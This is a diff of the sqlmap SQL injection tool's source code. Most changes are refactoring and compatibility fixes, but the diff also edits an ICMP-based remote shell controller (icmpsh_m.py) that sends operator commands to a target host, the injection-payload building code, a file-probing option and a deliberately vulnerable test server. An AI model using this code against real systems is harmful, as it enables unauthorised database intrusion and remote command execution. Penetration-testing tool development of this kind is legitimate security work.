-    pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0")
+    try:
+        pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0")
+    except OSError:
+        return
 
     wave_file = wave.open(filename, "rb")
 

extra/icmpsh/icmpsh_m.py

@@ -76,60 +76,63 @@ def main(src, dst):
     decoder = ImpactDecoder.IPDecoder()
 
     while True:
-        cmd = ''
+        try:
+            cmd = ''
 
-        # Wait for incoming replies
-        if sock in select.select([sock], [], [])[0]:
-            buff = sock.recv(4096)
+            # Wait for incoming replies
+            if sock in select.select([sock], [], [])[0]:
+                buff = sock.recv(4096)
 
-            if 0 == len(buff):
-                # Socket remotely closed
-                sock.close()
-                sys.exit(0)
+                if 0 == len(buff):
+                    # Socket remotely closed
+                    sock.close()
+                    sys.exit(0)
 
-            # Packet received; decode and display it
-            ippacket = decoder.decode(buff)
-            icmppacket = ippacket.child()
+                # Packet received; decode and display it
+                ippacket = decoder.decode(buff)
+                icmppacket = ippacket.child()
 
-            # If the packet matches, report it to the user
-            if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
-                # Get identifier and sequence number
-                ident = icmppacket.get_icmp_id()
-                seq_id = icmppacket.get_icmp_seq()
-                data = icmppacket.get_data_as_string()
+                # If the packet matches, report it to the user
+                if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
+                    # Get identifier and sequence number
+                    ident = icmppacket.get_icmp_id()
+                    seq_id = icmppacket.get_icmp_seq()
+                    data = icmppacket.get_data_as_string()
 
-                if len(data) > 0:
-                    sys.stdout.write(data)
+                    if len(data) > 0:
+                        sys.stdout.write(data)
 
-                # Parse command from standard input
-                try:
-                    cmd = sys.stdin.readline()
-                except:
-                    pass
+                    # Parse command from standard input
+                    try:
+                        cmd = sys.stdin.readline()
+                    except:
+                        pass
 
-                if cmd == 'exit\n':
-                    return
+                    if cmd == 'exit\n':
+                        return
 
-                # Set sequence number and identifier
-                icmp.set_icmp_id(ident)
-                icmp.set_icmp_seq(seq_id)
+                    # Set sequence number and identifier
+                    icmp.set_icmp_id(ident)
+                    icmp.set_icmp_seq(seq_id)
 
-                # Include the command as data inside the ICMP packet
-                icmp.contains(ImpactPacket.Data(cmd))
+                    # Include the command as data inside the ICMP packet
+                    icmp.contains(ImpactPacket.Data(cmd))
 
-                # Calculate its checksum
-                icmp.set_icmp_cksum(0)
-                icmp.auto_checksum = 1
+                    # Calculate its checksum
+                    icmp.set_icmp_cksum(0)
+                    icmp.auto_checksum = 1
 
-                # Have the IP packet contain the ICMP packet (along with its payload)
-                ip.contains(icmp)
+                    # Have the IP packet contain the ICMP packet (along with its payload)
+                    ip.contains(icmp)
 
-                try:
-                    # Send it to the target host
-                    sock.sendto(ip.get_packet(), (dst, 0))
-                except socket.error as ex:
-                    sys.stderr.write("'%s'\n" % ex)
-                    sys.stderr.flush()
+                    try:
+                        # Send it to the target host
+                        sock.sendto(ip.get_packet(), (dst, 0))
+                    except socket.error as ex:
+                        sys.stderr.write("'%s'\n" % ex)
+                        sys.stderr.flush()
+        except:
+            break
 
 if __name__ == '__main__':
     if len(sys.argv) < 3:

extra/safe2bin/README.txt

@@ -1,17 +0,0 @@
-To use safe2bin.py you need to pass it the original file,
-and optionally the output file name.
-
-Example:
-
-$ python ./safe2bin.py -i output.txt -o output.txt.bin
-
-This will create an binary decoded file output.txt.bin. For example, 
-if the content of output.txt is: "\ttest\t\x32\x33\x34\nnewline" it will 
-be decoded to: "	test	234
-newline"
-
-If you skip the output file name, general rule is that the binary
-file names are suffixed with the string '.bin'. So, that means that 
-the upper example can also be written in the following form:
-
-$ python ./safe2bin.py -i output.txt

extra/safe2bin/__init__.py

@@ -1,8 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-pass

extra/shutils/autocompletion.sh

@@ -0,0 +1,9 @@
+#/usr/bin/env bash
+
+# source ./extra/shutils/autocompletion.sh
+
+DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
+WORDLIST=`python "$DIR/../../sqlmap.py" -hh | grep -Eo '\s\--?\w[^ =,]*' | grep -vF '..' | paste -sd "" -`
+
+complete -W "$WORDLIST" sqlmap
+complete -W "$WORDLIST" ./sqlmap.py

extra/shutils/drei.sh

@@ -7,7 +7,7 @@
 
 export SQLMAP_DREI=1
 #for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
-for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i; done
+for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
 unset SQLMAP_DREI
 source `dirname "$0"`"/junk.sh"
 

extra/shutils/pylint.py

@@ -1,52 +0,0 @@
-#! /usr/bin/env python
-
-# Runs pylint on all python scripts found in a directory tree
-# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
-
-from __future__ import print_function
-
-import os
-import re
-import sys
-
-total = 0.0
-count = 0
-
-__RATING__ = False
-
-def check(module):
-    global total, count
-
-    if module[-3:] == ".py":
-
-        print("CHECKING ", module)
-        pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r')
-        for line in pout:
-            if re.match(r"\AE:", line):
-                print(line.strip())
-            if __RATING__ and "Your code has been rated at" in line:
-                print(line)
-                score = re.findall(r"\d.\d\d", line)[0]
-                total += float(score)
-                count += 1
-
-if __name__ == "__main__":
-    try:
-        print(sys.argv)
-        BASE_DIRECTORY = sys.argv[1]
-    except IndexError:
-        print("no directory specified, defaulting to current working directory")
-        BASE_DIRECTORY = os.getcwd()
-
-    print("looking for *.py scripts in subdirectories of ", BASE_DIRECTORY)
-    for root, dirs, files in os.walk(BASE_DIRECTORY):
-        if any(_ in root for _ in ("extra", "thirdparty")):
-            continue
-        for name in files:
-            filepath = os.path.join(root, name)
-            check(filepath)
-
-    if __RATING__:
-        print("==" * 50)
-        print("%d modules found" % count)
-        print("AVERAGE SCORE = %.02f" % (total / count))

extra/shutils/strip.sh

@@ -4,6 +4,9 @@
 #               http://www.muppetlabs.com/~breadbox/software/elfkickers.html
 #               https://ptspts.blogspot.hr/2013/12/how-to-make-smaller-c-and-c-binaries.html
 
+# https://github.com/BR903/ELFkickers/tree/master/sstrip
+# https://www.ubuntuupdates.org/package/core/cosmic/universe/updates/postgresql-server-dev-10
+
 # For example:
 # python ../../../../../extra/cloak/cloak.py -d -i lib_postgresqludf_sys.so_
 # ../../../../../extra/shutils/strip.sh lib_postgresqludf_sys.so

extra/vulnserver/vulnserver.py

@@ -9,6 +9,7 @@ See the file 'LICENSE' for copying permission
 
 from __future__ import print_function
 
+import json
 import re
 import sqlite3
 import sys
@@ -99,10 +100,13 @@ class ReqHandler(BaseHTTPRequestHandler):
                 return
 
         if hasattr(self, "data"):
-            params.update(parse_qs(self.data))
+            if self.data.startswith('{') and self.data.endswith('}'):
+                params.update(json.loads(self.data))
+            else:
+                params.update(parse_qs(self.data))
 
         for key in params:
-            if params[key]:
+            if params[key] and isinstance(params[key], (tuple, list)):
                 params[key] = params[key][-1]
 
         self.url, self.params = path, params

lib/controller/action.py

@@ -17,6 +17,7 @@ from lib.core.exception import SqlmapNoneDataException
 from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.core.settings import SUPPORTED_DBMS
 from lib.utils.brute import columnExists
+from lib.utils.brute import fileExists
 from lib.utils.brute import tableExists
 
 def action():
@@ -199,6 +200,14 @@ def action():
     if conf.fileWrite:
         conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType)
 
+    if conf.commonFiles:
+        try:
+            conf.dumper.rFile(fileExists(paths.COMMON_FILES))
+        except SqlmapNoneDataException as ex:
+            logger.critical(ex)
+        except:
+            raise
+
     # Operating system options
     if conf.osCmd:
         conf.dbmsHandler.osCmd()

lib/controller/checks.py

@@ -73,15 +73,18 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
 from lib.core.settings import CHECK_INTERNET_ADDRESS
 from lib.core.settings import CHECK_INTERNET_VALUE
+from lib.core.settings import DEFAULT_COOKIE_DELIMITER
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
 from lib.core.settings import FI_ERROR_REGEX
 from lib.core.settings import FORMAT_EXCEPTION_STRINGS
 from lib.core.settings import HEURISTIC_CHECK_ALPHABET
+from lib.core.settings import INFERENCE_EQUALS_CHAR
 from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
-from lib.core.settings import IDS_WAF_CHECK_RATIO
-from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
+from lib.core.settings import IPS_WAF_CHECK_RATIO
+from lib.core.settings import IPS_WAF_CHECK_TIMEOUT
 from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
+from lib.core.settings import MAX_STABILITY_DELAY
 from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
 from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
 from lib.core.settings import SINGLE_QUOTE_MARKER
@@ -89,9 +92,8 @@ from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import UNICODE_ENCODING
-from lib.core.settings import URI_HTTP_HEADER
 from lib.core.settings import UPPER_RATIO_BOUND
-from lib.core.settings import INFERENCE_EQUALS_CHAR
+from lib.core.settings import URI_HTTP_HEADER
 from lib.core.threads import getCurrentThreadData
 from lib.request.connect import Connect as Request
 from lib.request.comparison import comparison
@@ -219,10 +221,10 @@ def checkSqlInjection(place, parameter, value):
 
             # Skip test if the user's wants to test only for a specific
             # technique
-            if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech:
+            if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
                 debugMsg = "skipping test '%s' because the user " % title
                 debugMsg += "specified to test only for "
-                debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.tech)
+                debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
                 logger.debug(debugMsg)
                 continue
 
@@ -343,7 +345,7 @@ def checkSqlInjection(place, parameter, value):
                             msg += "only basic UNION tests if there is not "
                             msg += "at least one other (potential) "
                             msg += "technique found. Do you want to reduce "
-                            msg +="the number of requests? [Y/n] "
+                            msg += "the number of requests? [Y/n] "
                             kb.futileUnion = readInput(msg, default='Y', boolean=True)
 
                         if kb.futileUnion and int(_) > 10:
@@ -1222,8 +1224,8 @@ def checkStability():
 
     firstPage = kb.originalPage  # set inside checkConnection()
 
-    delay = 1 - (time.time() - (kb.originalPageTime or 0))
-    delay = max(0, min(1, delay))
+    delay = MAX_STABILITY_DELAY - (time.time() - (kb.originalPageTime or 0))
+    delay = max(0, min(MAX_STABILITY_DELAY, delay))
     time.sleep(delay)
 
     secondPage, _, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False)
@@ -1381,10 +1383,10 @@ def checkWaf():
 
     kb.redirectChoice = REDIRECTION.YES
     kb.resendPostOnRedirect = False
-    conf.timeout = IDS_WAF_CHECK_TIMEOUT
+    conf.timeout = IPS_WAF_CHECK_TIMEOUT
 
     try:
-        retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] or 0) < IDS_WAF_CHECK_RATIO
+        retVal = (Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, raise404=False, disableTampering=True)[1] or 0) < IPS_WAF_CHECK_RATIO
     except SqlmapConnectionException:
         retVal = True
     finally:
@@ -1517,7 +1519,7 @@ def checkConnection(suppressOutput=False):
             warnMsg += "which could interfere with the results of the tests"
             logger.warn(warnMsg)
         elif wasLastResponseHTTPError():
-            if getLastRequestHTTPError() != conf.ignoreCode:
+            if getLastRequestHTTPError() not in (conf.ignoreCode or []):
                 warnMsg = "the web server responded with an HTTP error code (%d) " % getLastRequestHTTPError()
                 warnMsg += "which could interfere with the results of the tests"
                 logger.warn(warnMsg)
@@ -1558,6 +1560,16 @@ def checkConnection(suppressOutput=False):
         kb.originalPage = kb.pageTemplate = threadData.lastPage
         kb.originalCode = threadData.lastCode
 
+    if conf.cj and not conf.cookie and not conf.dropSetCookie:
+        candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
+
+        message = "you have not declared cookie(s), while "
+        message += "server wants to set its own ('%s'). " % re.sub(r"(=[^=;]{10}[^=;])[^=;]+([^=;]{10})", r"\g<1>...\g<2>", candidate)
+        message += "Do you want to use those [Y/n] "
+        if readInput(message, default='Y', boolean=True):
+            kb.mergeCookies = True
+            conf.httpHeaders.append((HTTP_HEADER.COOKIE, candidate))
+
     return True
 
 def checkInternet():

lib/controller/controller.py

@@ -5,19 +5,21 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import os
 import re
 import time
 
 from lib.controller.action import action
-from lib.controller.checks import checkSqlInjection
-from lib.controller.checks import checkDynParam
-from lib.controller.checks import checkStability
-from lib.controller.checks import checkString
-from lib.controller.checks import checkRegexp
 from lib.controller.checks import checkConnection
+from lib.controller.checks import checkDynParam
 from lib.controller.checks import checkInternet
 from lib.controller.checks import checkNullConnection
+from lib.controller.checks import checkRegexp
+from lib.controller.checks import checkSqlInjection
+from lib.controller.checks import checkStability
+from lib.controller.checks import checkString
 from lib.controller.checks import checkWaf
 from lib.controller.checks import heuristicCheckSqlInjection
 from lib.core.agent import agent
@@ -29,6 +31,7 @@ from lib.core.common import getSafeExString
 from lib.core.common import hashDBRetrieve
 from lib.core.common import hashDBWrite
 from lib.core.common import intersect
+from lib.core.common import isDigit
 from lib.core.common import isListLike
 from lib.core.common import parseTargetUrl
 from lib.core.common import popValue
@@ -38,8 +41,8 @@ from lib.core.common import readInput
 from lib.core.common import removePostHintPrefix
 from lib.core.common import safeCSValue
 from lib.core.common import showHttpErrorCodes
-from lib.core.common import urlencode
 from lib.core.common import urldecode
+from lib.core.common import urlencode
 from lib.core.compat import xrange
 from lib.core.data import conf
 from lib.core.data import kb
@@ -59,16 +62,16 @@ from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapSkipTargetException
 from lib.core.exception import SqlmapSystemException
-from lib.core.exception import SqlmapValueException
 from lib.core.exception import SqlmapUserQuitException
+from lib.core.exception import SqlmapValueException
 from lib.core.settings import ASP_NET_CONTROL_REGEX
 from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
-from lib.core.settings import IGNORE_PARAMETERS
-from lib.core.settings import LOW_TEXT_PERCENT
 from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX
 from lib.core.settings import HOST_ALIASES
+from lib.core.settings import IGNORE_PARAMETERS
+from lib.core.settings import LOW_TEXT_PERCENT
 from lib.core.settings import REFERER_ALIASES
 from lib.core.settings import USER_AGENT_ALIASES
 from lib.core.target import initTargetEnv
@@ -127,7 +130,7 @@ def _selectInjection():
         message += "[q] Quit"
         choice = readInput(message, default='0').upper()
 
-        if choice.isdigit() and int(choice) < len(kb.injections) and int(choice) >= 0:
+        if isDigit(choice) and int(choice) < len(kb.injections) and int(choice) >= 0:
             index = int(choice)
         elif choice == 'Q':
             raise SqlmapUserQuitException
@@ -260,7 +263,7 @@ def _saveToResultsFile():
 
         conf.resultsFP.flush()
     except IOError as ex:
-        errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
+        errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex))
         raise SqlmapSystemException(errMsg)
 
 @stackedmethod
@@ -372,7 +375,7 @@ def start():
                     message += "\nCookie: %s" % conf.cookie
 
                 if conf.data is not None:
-                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "")
+                    message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
 
                 if conf.forms and conf.method:
                     if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@@ -387,7 +390,7 @@ def start():
                         break
                     else:
                         if conf.method != HTTPMETHOD.GET:
-                            message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
+                            message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "None") is None else conf.data, " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "")
                             conf.data = readInput(message, default=conf.data)
                             conf.data = _randomFillBlankFields(conf.data)
                             conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
@@ -420,6 +423,15 @@ def start():
             if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp():
                 continue
 
+            if conf.rParam and kb.originalPage:
+                kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])
+
+                for match in re.finditer(r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>", kb.originalPage):
+                    name, _ = match.groups()
+                    options = tuple(re.findall(r"<option[^>]+\bvalue\s*=\s*[\"']([^\"']+)", _))
+                    if options:
+                        kb.randomPool[name] = options
+
             checkWaf()
 
             if conf.nullConnection:
@@ -427,7 +439,7 @@ def start():
 
             if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
 
-                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
+                if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
                     # NOTE: this is not needed anymore, leaving only to display
                     # a warning message to the user in case the page is not stable
                     checkStability()
@@ -473,9 +485,6 @@ def start():
                     if skip:
                         continue
 
-                    if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
-                        continue
-
                     if place not in conf.paramDict:
                         continue
 
@@ -531,7 +540,7 @@ def start():
                             infoMsg = "ignoring %sparameter '%s'" % ("%s " % paramType if paramType != parameter else "", parameter)
                             logger.info(infoMsg)
 
-                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic:
+                        elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique or conf.skipStatic:
                             check = checkDynParam(place, parameter, value)
 
                             if not check:
@@ -602,6 +611,14 @@ def start():
                 if kb.vainRun and not conf.multipleTargets:
                     errMsg = "no parameter(s) found for testing in the provided data "
                     errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')"
+                    if kb.originalPage:
+                        advice = []
+                        if not conf.forms and re.search(r"<form", kb.originalPage) is not None:
+                            advice.append("--forms")
+                        if not conf.crawlDepth and re.search(r"href=[\"']/?\w", kb.originalPage) is not None:
+                            advice.append("--crawl=2")
+                        if advice:
+                            errMsg += ". You are advised to rerun with '%s'" % ' '.join(advice)
                     raise SqlmapNoneDataException(errMsg)
                 else:
                     errMsg = "all tested parameters do not appear to be injectable."
@@ -610,7 +627,7 @@ def start():
                         errMsg += " Try to increase values for '--level'/'--risk' options "
                         errMsg += "if you wish to perform more tests."
 
-                    if isinstance(conf.tech, list) and len(conf.tech) < 5:
+                    if isinstance(conf.technique, list) and len(conf.technique) < 5:
                         errMsg += " Rerun without providing the option '--technique'."
 
                     if not conf.textOnly and kb.originalPage:
@@ -721,9 +738,9 @@ def start():
         logger.info("fetched data logged to text files under '%s'" % conf.outputPath)
 
     if conf.multipleTargets:
-        if conf.resultsFilename:
+        if conf.resultsFile:
             infoMsg = "you can find results of scanning in multiple targets "
-            infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
+            infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
             logger.info(infoMsg)
 
     return True

lib/core/agent.py

@@ -5,13 +5,14 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import base64
 import re
 
 from lib.core.common import Backend
 from lib.core.common import extractRegexResult
 from lib.core.common import filterNone
 from lib.core.common import getSQLSnippet
+from lib.core.common import getTechnique
+from lib.core.common import getTechniqueData
 from lib.core.common import isDBMSVersionAtLeast
 from lib.core.common import isNumber
 from lib.core.common import isTechniqueAvailable
@@ -25,6 +26,7 @@ from lib.core.common import unArrayizeValue
 from lib.core.common import urlencode
 from lib.core.common import zeroDepthSearch
 from lib.core.compat import xrange
+from lib.core.convert import encodeBase64
 from lib.core.convert import getUnicode
 from lib.core.data import conf
 from lib.core.data import kb
@@ -48,7 +50,9 @@ from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
 from lib.core.settings import SINGLE_QUOTE_MARKER
 from lib.core.settings import SLEEP_TIME_MARKER
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.unescaper import unescaper
+from thirdparty import six
 
 class Agent(object):
     """
@@ -89,8 +93,8 @@ class Agent(object):
 
         if kb.forceWhere:
             where = kb.forceWhere
-        elif where is None and isTechniqueAvailable(kb.technique):
-            where = kb.injection.data[kb.technique].where
+        elif where is None and isTechniqueAvailable(getTechnique()):
+            where = getTechniqueData().where
 
         if kb.injection.place is not None:
             place = kb.injection.place
@@ -167,17 +171,21 @@ class Agent(object):
 
         if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
             # TODO: support for POST_HINT
-            newValue = base64.b64encode(newValue)
-            origValue = base64.b64encode(origValue)
+            newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
+            origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
 
         if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
             _ = "%s%s" % (origValue, kb.customInjectionMark)
+
             if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
-                newValue = '"%s"' % newValue
+                newValue = '"%s"' % self.addPayloadDelimiters(newValue)
             elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString:
-                newValue = "'%s'" % newValue
+                newValue = "'%s'" % self.addPayloadDelimiters(newValue)
+            else:
+                newValue = self.addPayloadDelimiters(newValue)
+
             newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
-            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
+            retVal = paramString.replace(_, newValue)
             retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
         elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
             retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
@@ -234,8 +242,8 @@ class Agent(object):
         expression = unescaper.escape(expression)
         query = None
 
-        if where is None and kb.technique and kb.technique in kb.injection.data:
-            where = kb.injection.data[kb.technique].where
+        if where is None and getTechnique() is not None and getTechnique() in kb.injection.data:
+            where = getTechniqueData().where
 
         # If we are replacing (<where>) the parameter original value with
         # our payload do not prepend with the prefix
@@ -244,7 +252,7 @@ class Agent(object):
 
         # If the technique is stacked queries (<stype>) do not put a space
         # after the prefix or it is in GROUP BY / ORDER BY (<clause>)
-        elif kb.technique == PAYLOAD.TECHNIQUE.STACKED:
+        elif getTechnique() == PAYLOAD.TECHNIQUE.STACKED:
             query = kb.injection.prefix
         elif kb.injection.clause == [2, 3] or kb.injection.clause == [2] or kb.injection.clause == [3]:
             query = kb.injection.prefix
@@ -265,7 +273,7 @@ class Agent(object):
 
         return query
 
-    def suffixQuery(self, expression, comment=None, suffix=None, where=None):
+    def suffixQuery(self, expression, comment=None, suffix=None, where=None, trimEmpty=True):
         """
         This method appends the DBMS comment to the
         SQL injection request
@@ -282,9 +290,9 @@ class Agent(object):
         # Take default values if None
         suffix = kb.injection.suffix if kb.injection and suffix is None else suffix
 
-        if kb.technique and kb.technique in kb.injection.data:
-            where = kb.injection.data[kb.technique].where if where is None else where
-            comment = kb.injection.data[kb.technique].comment if comment is None else comment
+        if getTechnique() is not None and getTechnique() in kb.injection.data:
+            where = getTechniqueData().where if where is None else where
+            comment = getTechniqueData().comment if comment is None else comment
 
         if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
             comment = queries[DBMS.ACCESS].comment.query
@@ -303,10 +311,10 @@ class Agent(object):
 
             expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER)
 
-        return re.sub(r";\W*;", ";", expression)
+        return re.sub(r";\W*;", ";", expression) if trimEmpty else expression
 
     def cleanupPayload(self, payload, origValue=None):
-        if payload is None:
+        if not isinstance(payload, six.string_types):
             return
 
         replacements = {
@@ -331,6 +339,7 @@ class Agent(object):
 
         if origValue is not None:
             origValue = getUnicode(origValue)
+
             if "[ORIGVALUE]" in payload:
                 payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
             if "[ORIGINAL]" in payload:
@@ -349,6 +358,7 @@ class Agent(object):
                     inferenceQuery = inference.query
 
                 payload = payload.replace(INFERENCE_MARKER, inferenceQuery)
+
             elif not kb.testMode:
                 errMsg = "invalid usage of inference payload without "
                 errMsg += "knowledge of underlying DBMS"
@@ -391,7 +401,7 @@ class Agent(object):
         if "hex" in rootQuery:
             hexField = rootQuery.hex.query % field
         else:
-            warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
+            warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
             singleTimeWarnMessage(warnMsg)
 
         return hexField
@@ -649,7 +659,7 @@ class Agent(object):
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
                 concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
-                concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
+                concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
             elif fieldsSelect:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -1005,7 +1015,7 @@ class Agent(object):
                         limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field))
 
                     limitedQuery += "NOT IN (%s" % (limitStr % num)
-                    limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or "1", uniqueField or "1")
+                    limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or '1', uniqueField or '1')
                 else:
                     match = re.search(r" ORDER BY (\w+)\Z", query)
                     field = match.group(1) if match else field
@@ -1079,7 +1089,7 @@ class Agent(object):
         Removes payload delimiters from inside the input string
         """
 
-        return value.replace(PAYLOAD_DELIMITER, '') if value else value
+        return value.replace(PAYLOAD_DELIMITER, "") if value else value
 
     def extractPayload(self, value):
         """

lib/core/bigarray.py

@@ -51,6 +51,11 @@ class Cache(object):
 class BigArray(list):
     """
     List-like class used for storing large amounts of data (disk cached)
+
+    >>> _ = BigArray(xrange(100000))
+    >>> _[20] = 0
+    >>> _[100]
+    100
     """
 
     def __init__(self, items=None):

lib/core/common.py

@@ -5,12 +5,13 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
+from __future__ import division
+
 import binascii
 import codecs
 import collections
 import contextlib
 import copy
-import distutils
 import functools
 import getpass
 import hashlib
@@ -45,7 +46,6 @@ from xml.sax import SAXParseException
 
 from extra.beep.beep import beep
 from extra.cloak.cloak import decloak
-from extra.safe2bin.safe2bin import safecharencode
 from lib.core.bigarray import BigArray
 from lib.core.compat import cmp
 from lib.core.compat import round
@@ -68,11 +68,12 @@ from lib.core.decorators import cachedmethod
 from lib.core.defaults import defaults
 from lib.core.dicts import DBMS_DICT
 from lib.core.dicts import DEFAULT_DOC_ROOTS
+from lib.core.dicts import DEPRECATED_OPTIONS
 from lib.core.dicts import OBSOLETE_OPTIONS
 from lib.core.dicts import SQL_STATEMENTS
 from lib.core.enums import ADJUST_TIME_DELAY
-from lib.core.enums import CONTENT_STATUS
 from lib.core.enums import CHARSET_TYPE
